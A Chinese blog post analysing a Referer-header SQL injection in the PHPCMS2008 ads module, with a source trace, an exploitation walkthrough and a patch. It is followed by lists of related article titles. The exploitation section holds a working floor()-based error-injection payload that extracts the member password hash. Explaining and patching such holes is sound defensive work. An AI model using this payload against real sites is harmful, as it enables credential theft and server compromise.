PHPCMS2008广告模板SQL注入漏洞修复


Posted in PHP onOctober 11, 2016

00 漏洞描述

PHPCMS2008由于广告模块取referer不严,导致一处sql注入漏洞.可以得到管理员用户名与密码,攻击者登录后台后可能会获取webshell,对服务器进行进一步的渗透。

01 漏洞分析

漏洞产生的位置:

/ads/include/ads_place.class.phpshow方法中.

function show($placeid)
...
if($adses[0]['option'])
{
foreach($adses as $ads)
{
$contents[] = ads_content($ads, 1);
$this->db->query(“INSERT INTO$this->stat_table(`adsid`,`username`,`ip`,`referer`,`clicktime`,`type`)VALUES (‘$ads[adsid]','$_username','$ip',‘$this->referrer',‘$time',,'0')”);
$template = $ads['template'] ? $ads['template'] : 'ads';
}
}
...

sql语句中

$this->db->query(“INSERT INTO$this->stat_table(`adsid`,`username`,`ip`,`referer`,`clicktime`,`type`)VALUES (‘$ads[adsid]','$_username','$ip',‘$this->referrer',‘$time',,'0')”);

这里$this->referrer过this方法直接将HTTP请求头中的referer字段插入到数据库中,没有做任何过滤措施。(这个this方法是PHPCMS里面直接封装的)。

所以现在已经找到漏洞点,下一步就是找包含漏洞的用户可控的页面。如果漏洞是用户不可控的,比如只能管理员利用,那就相当的鸡肋了。

这里使用回溯的方法,看看哪些页面调用了它。

页面/ads/include/commom.inc.php

<?php 
...
require MOD_ROOT.'include/ads_place.class.php';
require MOD_ROOT.'include/ads.class.php';
...
?>

在往上看看谁调用了/ads/include/commom.inc.php

/ads/ad.php文件中

<?php
...
require './include/common.inc.php';
...
?>

ad.php文件为用户可控文件,但ad.php有时不能访问,继续向上查找/data/js.php

<?php
chdir(‘../ads/');
require ‘./ad.php';
?>

在用户访问首页时,会调用js.php,通过该文件可以提交有害字段,然后通过逐层调用,传入字段referer到危险方法show,引入SQL注入攻击。

02 漏洞利用

修改请求头中的referer字段的话有很多种,比如burpsuite,Tamper Data…

这里直接使用火狐的Tamper Data进行修改:

点击Start Tamper,然后访问http://your-addr/data/js.php?id=1

这时候Tamper Data会跳出来,在右边框内,点击右键,添加一个element值填写payload

referer=1', (SELECT 1 FROM (select count(*), concat(floor(rand(0)*2),char(45,45,45),(SELECT password from phpcms_member limit 1))a from information_schema.tables group by a)b), ‘0')#

这里我解释一下:因为漏洞的sql语句是INSERT是不回显的,所以可以使用盲注,这里的payload使用的floor报错注入。floor报错注入原理请参考:floor函数用法

把这个payload带入sql语句中是:

$this->db->query(“INSERT INTO$this->stat_table(`adsid`,`username`,`ip`,`referer`,`clicktime`,`type`)VALUES (‘$ads[adsid]','$_username','$ip',‘1',‘$time',(SELECT 1 FROM (select count(*), concat(floor(rand(0)*2),char(45,45,45),(SELECT password from phpcms_member limit 1))a from information_schema.tables group by a)b), ‘0')#,'0')”);

PHPCMS2008广告模板SQL注入漏洞修复

03 漏洞修复

对相关字段进行过滤处理。

$referer = safe_replace($this->referer);
$this->db->query("INSERT INTO $this->stat_table (`adsid`, `username`, `ip`, `referer`, `clicktime`, `type`) VALUES ('$ads[adsid]', '$_username', '$ip', '$referer', '$time', '0')");
$template = $ads['template'] ? $ads['template'] : 'ads';

这里safe_replace是PHPCMS2008封装的过滤函数。

以上所述是小编给大家介绍的PHPCMS2008广告模板SQL注入漏洞,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对三水点靠木网站的支持!

PHP 相关文章推荐
html中select语句读取mysql表中内容
Oct 09 PHP
PHP 危险函数全解析
Sep 09 PHP
php 随机排序广告的实现代码
May 09 PHP
php随机输出名人名言的代码
Oct 07 PHP
thinkphp 一个页面使用2次分页的实现方法
Jul 15 PHP
PHP ignore_user_abort函数详细介绍和使用实例
Jul 15 PHP
php中strtotime函数用法详解
Nov 15 PHP
PHP实现检测客户端是否使用代理服务器及其匿名级别
Jan 07 PHP
PHP中生成UUID自定义函数分享
Jun 10 PHP
PHP会话操作之cookie用法分析
Sep 28 PHP
PHP实现根据数组的值进行分组的方法
Apr 20 PHP
php实现统计二进制中1的个数算法示例
Jan 23 PHP
php基于curl实现随机ip地址抓取内容的方法
Oct 11 #PHP
php 获取文件行数的方法总结
Oct 11 #PHP
PHP中文字符串截断无乱码解决方法
Oct 10 #PHP
PHP获取用户客户端真实IP的解决方案
Oct 10 #PHP
php表单加入Token防止重复提交的方法分析
Oct 10 #PHP
Laravel5中防止XSS跨站攻击的方法
Oct 10 #PHP
php中让人头疼的浮点数运算分析
Oct 10 #PHP
You might like
php 分页函数multi() discuz
2009/06/21 PHP
PHP 生成微信红包代码简单
2016/03/25 PHP
php 的多进程操作实践案例分析
2020/02/28 PHP
jQuery.Autocomplete实现自动完成功能(详解)
2010/07/13 Javascript
jQuery EasyUI API 中文文档 - NumberBox数字框
2011/10/13 Javascript
判定是否原生方法的JS代码
2013/11/12 Javascript
javascript 数组排序函数sort和reverse使用介绍
2013/11/21 Javascript
在百度知道团队中快速审批新成员的js脚本
2014/02/02 Javascript
Javascript中3种实现继承的方法和代码实例
2014/08/12 Javascript
JavaScript实现拖拽网页内元素的方法
2015/04/15 Javascript
jquery解析json格式数据的方法(对象、字符串)
2015/11/24 Javascript
Prototype框架详解
2015/11/25 Javascript
判断输入的字符串是否是日期格式的简单方法
2016/07/11 Javascript
详解Vue自定义过滤器的实现
2017/01/10 Javascript
javascript实现秒表计时器的制作方法
2017/02/16 Javascript
使用store来优化React组件的方法
2017/10/23 Javascript
js实现图片上传并预览功能
2018/08/06 Javascript
Vue中的Props(不可变状态)
2018/09/29 Javascript
Javascript实现秒表倒计时功能
2018/11/17 Javascript
微信小程序实现日历功能
2018/11/27 Javascript
微信小程序页面调用自定义组件内的事件详解
2019/09/12 Javascript
js删除指定位置超链接中含有百度与360的标题
2021/01/06 Javascript
Python3.x和Python2.x的区别介绍
2013/02/12 Python
python的类变量和成员变量用法实例教程
2014/08/25 Python
举例讲解Python中的迭代器、生成器与列表解析用法
2016/03/20 Python
Python爬取三国演义的实现方法
2016/09/12 Python
利用python实现简单的邮件发送客户端示例
2017/12/23 Python
python里glob模块知识点总结
2021/01/05 Python
Contém1g官网:巴西彩妆品牌
2020/01/17 全球购物
测绘工程系学生的自我评价
2013/11/30 职场文书
应聘编辑自荐信范文
2014/03/12 职场文书
股权转让意向书
2014/04/01 职场文书
协议书样本
2014/04/23 职场文书
党员学习中共十八大思想报告
2014/09/12 职场文书
幼儿园安全教育随笔
2015/08/14 职场文书
销售口号霸气押韵
2015/12/24 职场文书